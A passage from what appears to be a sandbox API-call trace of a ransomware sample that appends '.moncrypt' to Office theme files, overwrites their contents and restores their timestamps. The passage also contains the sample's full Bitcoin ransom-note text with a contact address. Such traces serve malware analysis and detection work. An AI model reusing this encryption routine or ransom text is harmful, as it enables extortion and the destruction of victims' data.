Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\") returned 0x41 [0054.365] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a5f0, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="restoreT ") returned 7 [0054.365] GlobalLock (hMem=0x440004) returned 0x550170 [0054.365] GlobalHandle (pMem=0x550170) returned 0x440004 [0054.365] GlobalUnlock (hMem=0x440004) returned 0 [0054.365] GlobalLock (hMem=0x440004) returned 0x550170 [0054.365] GlobalLock (hMem=0x44000c) returned 0x555b78 [0054.365] GlobalHandle (pMem=0x550170) returned 0x440004 [0054.365] GlobalUnlock (hMem=0x440004) returned 0 [0054.365] GlobalHandle (pMem=0x555b78) returned 0x44000c [0054.365] GlobalUnlock (hMem=0x44000c) returned 0 [0054.366] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\") returned 0x41 [0054.366] GetEnvironmentVariableA (in: lpName="ALLUSERSPROFILE", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0054.366] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a748, cbMultiByte=15, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\") returned 15 [0054.366] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\") returned 0x41 [0054.366] GetEnvironmentVariableA (in: lpName="APPDATA", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 0x2d [0054.366] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1ddb5e8, cbMultiByte=46, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 46 [0054.366] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\") returned 0x41 [0054.366] GetEnvironmentVariableA (in: lpName="ProgramData", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0054.366] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=15, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 15 [0054.366] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\") returned 0x41 [0054.366] GetEnvironmentVariableA (in: lpName="WINDIR", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\Windows") returned 0xa [0054.366] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a668, cbMultiByte=11, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\windows\\ata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 11 [0054.367] GlobalLock (hMem=0x44000c) returned 0x550170 [0054.367] GlobalHandle (pMem=0x550170) returned 0x44000c [0054.367] GlobalUnlock (hMem=0x44000c) returned 0 [0054.367] GlobalLock (hMem=0x44000c) returned 0x550170 [0054.367] GlobalLock (hMem=0x440004) returned 0x555b78 [0054.367] GlobalHandle (pMem=0x550170) returned 0x44000c [0054.367] GlobalUnlock (hMem=0x44000c) returned 0 [0054.367] GlobalHandle (pMem=0x555b78) returned 0x440004 [0054.367] GlobalUnlock (hMem=0x440004) returned 0 [0054.367] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\") returned 0x41 [0054.367] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=15, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\$recycle.bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 15 [0054.367] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\") returned 0x41 [0054.367] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a5f0, cbMultiByte=11, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\all users\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 11 [0054.367] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\") returned 0x41 [0054.367] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a5f0, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\appdata\\s\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 9 [0054.368] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\") returned 0x41 [0054.368] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=18, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\application data\\alpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 18 [0054.368] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\") returned 0x41 [0054.368] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=28, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\system volume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 28 [0054.368] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\") returned 0x41 [0054.368] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a5f0, cbMultiByte=10, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\windows\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 10 [0054.368] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\") returned 0x41 [0054.368] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a5f0, cbMultiByte=8, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\intel\\s\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 8 [0054.368] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\") returned 0x41 [0054.369] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a5f0, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\nvidia\\\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 9 [0054.369] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\") returned 0x41 [0054.369] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=13, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\trend micro\\me information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 13 [0054.369] GlobalLock (hMem=0x440004) returned 0x550170 [0054.369] GlobalHandle (pMem=0x550170) returned 0x440004 [0054.369] GlobalUnlock (hMem=0x440004) returned 0 [0054.369] GlobalLock (hMem=0x440004) returned 0x550170 [0054.369] GlobalLock (hMem=0x44000c) returned 0x555b78 [0054.369] GlobalHandle (pMem=0x550170) returned 0x440004 [0054.369] GlobalUnlock (hMem=0x440004) returned 0 [0054.369] GlobalHandle (pMem=0x555b78) returned 0x44000c [0054.369] GlobalUnlock (hMem=0x44000c) returned 0 [0054.369] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\*.*", lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d416d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d416d30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e200 [0054.369] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d416d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d416d30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0054.369] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a71ef90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x137f, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0054.369] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea88 | out: lpLocalFileTime=0x18ea88) returned 1 [0054.369] FileTimeToDosDateTime (in: lpFileTime=0x18ea88, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0054.370] GlobalLock (hMem=0x44000c) returned 0x555b78 [0054.370] GlobalHandle (pMem=0x555b78) returned 0x44000c [0054.370] GlobalUnlock (hMem=0x44000c) returned 0 [0054.370] GlobalLock (hMem=0x44000c) returned 0x555b78 [0054.370] GlobalLock (hMem=0x440004) returned 0x557b88 [0054.370] GlobalHandle (pMem=0x555b78) returned 0x44000c [0054.370] GlobalUnlock (hMem=0x44000c) returned 0 [0054.370] GlobalHandle (pMem=0x557b88) returned 0x440004 [0054.370] GlobalUnlock (hMem=0x440004) returned 0 [0054.370] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0054.375] CharLowerBuffW (in: lpsz="PREVIEW.GIF", cchLength=0xb | out: lpsz="preview.gif") returned 0xb [0054.375] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.375] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.375] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.375] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.375] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="w", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.375] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.375] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.375] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="v", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.375] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.375] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.375] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.375] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0054.375] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF", cchWideChar=76, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIFp", lpUsedDefaultChar=0x0) returned 76 [0054.375] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0054.375] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0054.375] GlobalLock (hMem=0x440004) returned 0x555b78 [0054.375] GlobalHandle (pMem=0x555b78) returned 0x440004 [0054.375] GlobalUnlock (hMem=0x440004) returned 0 [0054.375] GlobalLock (hMem=0x440004) returned 0x555b78 [0054.375] GlobalLock (hMem=0x44000c) returned 0x557b88 [0054.375] GlobalHandle (pMem=0x555b78) returned 0x440004 [0054.375] GlobalUnlock (hMem=0x440004) returned 0 [0054.375] GlobalHandle (pMem=0x557b88) returned 0x44000c [0054.375] GlobalUnlock (hMem=0x44000c) returned 0 [0054.375] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0054.376] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\я" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\я"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0054.376] WriteFile (in: hFile=0x18c, lpBuffer=0x1e61d58*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1e61d58*, lpNumberOfBytesWritten=0x18ea30*=0x1, lpOverlapped=0x0) returned 1 [0054.377] CloseHandle (hObject=0x18c) returned 1 [0054.377] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\я" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\я")) returned 1 [0054.378] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\SUMIPNTG.ELM", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f7a6700, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x6d416d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2f7a6700, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x19e14, dwReserved0=0x0, dwReserved1=0x0, cFileName="SUMIPNTG.ELM", cAlternateFileName="")) returned 0x54e240 [0054.378] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0054.378] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0054.378] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0054.378] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\SUMIPNTG.ELM", dwFileAttributes=0x20) returned 1 [0054.380] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0054.380] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\SUMIPNTG.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\sumipntg.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\SUMIPNTG.ELM.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\sumipntg.elm.moncrypt")) returned 1 [0054.380] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\SUMIPNTG.ELM.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\sumipntg.elm.moncrypt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0054.380] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x0 [0054.381] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x19e14 [0054.381] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x0 [0054.381] ReadFile (in: hFile=0x18c, lpBuffer=0x1dbe1a8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x18e6f4, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesRead=0x18e6f4*=0x4000, lpOverlapped=0x0) returned 1 [0054.383] GlobalLock (hMem=0x44000c) returned 0x555b78 [0054.383] GlobalLock (hMem=0x440004) returned 0x55bb88 [0054.383] GlobalHandle (pMem=0x55bb88) returned 0x440004 [0054.383] GlobalUnlock (hMem=0x440004) returned 0 [0054.383] GlobalReAlloc (hMem=0x440004, dwBytes=0x4000, uFlags=0x2) returned 0x440004 [0054.383] GlobalLock (hMem=0x440004) returned 0x55bb88 [0054.383] GlobalHandle (pMem=0x55bb88) returned 0x440004 [0054.383] GlobalUnlock (hMem=0x440004) returned 0 [0054.383] GlobalReAlloc (hMem=0x440004, dwBytes=0x6000, uFlags=0x2) returned 0x440004 [0054.383] GlobalLock (hMem=0x440004) returned 0x55bb88 [0054.383] GlobalHandle (pMem=0x555b78) returned 0x44000c [0054.383] GlobalUnlock (hMem=0x44000c) returned 0 [0054.383] GlobalHandle (pMem=0x55bb88) returned 0x440004 [0054.384] GlobalUnlock (hMem=0x440004) returned 0 [0054.384] GlobalLock (hMem=0x440004) returned 0x555b78 [0054.384] GlobalHandle (pMem=0x555b78) returned 0x440004 [0054.384] GlobalUnlock (hMem=0x440004) returned 0 [0054.384] GlobalReAlloc (hMem=0x440004, dwBytes=0x6000, uFlags=0x2) returned 0x440004 [0054.384] GlobalLock (hMem=0x440004) returned 0x555b78 [0054.384] GlobalHandle (pMem=0x555b78) returned 0x440004 [0054.384] GlobalUnlock (hMem=0x440004) returned 0 [0054.384] ReadFile (in: hFile=0x18c, lpBuffer=0x1e39128, nNumberOfBytesToRead=0x20, lpNumberOfBytesRead=0x18e6f4, lpOverlapped=0x0 | out: lpBuffer=0x1e39128*, lpNumberOfBytesRead=0x18e6f4*=0x20, lpOverlapped=0x0) returned 1 [0054.384] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6e8*=0) returned 0x0 [0054.384] WriteFile (in: hFile=0x18c, lpBuffer=0x1dbe1a8*, nNumberOfBytesToWrite=0x4020, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesWritten=0x18e6f0*=0x4020, lpOverlapped=0x0) returned 1 [0054.385] SetFilePointer (in: hFile=0x18c, lDistanceToMove=106004, lpDistanceToMoveHigh=0x18e6e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6e8*=0) returned 0x19e14 [0054.385] WriteFile (in: hFile=0x18c, lpBuffer=0x1e39128*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1e39128*, lpNumberOfBytesWritten=0x18e6f0*=0x20, lpOverlapped=0x0) returned 1 [0054.385] WriteFile (in: hFile=0x18c, lpBuffer=0x18e76c*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x18e76c*, lpNumberOfBytesWritten=0x18e6f0*=0x8, lpOverlapped=0x0) returned 1 [0054.385] WriteFile (in: hFile=0x18c, lpBuffer=0x1e61d68*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1e61d68*, lpNumberOfBytesWritten=0x18e6f0*=0x1, lpOverlapped=0x0) returned 1 [0054.396] WriteFile (in: hFile=0x18c, lpBuffer=0x1dbe1c8*, nNumberOfBytesToWrite=0x9c, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1c8*, lpNumberOfBytesWritten=0x18e6f0*=0x9c, lpOverlapped=0x0) returned 1 [0054.396] CloseHandle (hObject=0x18c) returned 1 [0054.398] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\SUMIPNTG.ELM.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\sumipntg.elm.moncrypt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0054.398] SetFileTime (hFile=0x18c, lpCreationTime=0x18e794, lpLastAccessTime=0x18e78c, lpLastWriteTime=0x18e784) returned 1 [0054.398] CloseHandle (hObject=0x18c) returned 1 [0054.398] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\SUMIPNTG.ELM.moncrypt", dwFileAttributes=0x20) returned 1 [0054.398] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390c8, cbMultiByte=34, lpWideCharStr=0x18da28, cchWideChar=2047 | out: lpWideCharStr="HOW TO RECOVER ENCRYPTED FILES.TXT\x06") returned 34 [0054.398] GlobalLock (hMem=0x440004) returned 0x555b78 [0054.398] GlobalHandle (pMem=0x555b78) returned 0x440004 [0054.398] GlobalUnlock (hMem=0x440004) returned 0 [0054.398] GlobalLock (hMem=0x440004) returned 0x555b78 [0054.398] GlobalLock (hMem=0x44000c) returned 0x557b88 [0054.398] GlobalHandle (pMem=0x555b78) returned 0x440004 [0054.398] GlobalUnlock (hMem=0x440004) returned 0 [0054.398] GlobalHandle (pMem=0x557b88) returned 0x44000c [0054.398] GlobalUnlock (hMem=0x44000c) returned 0 [0054.399] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files.\r\n\r\nContact us using this email address: moncoin@protonmail.com\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nIf you are waiting for a message from us for more than 12 hours, check spam folder.\r\n\r\nAttention!\r\n * Do not rename encrypted files.\r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss.\r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam.", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0054.399] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common 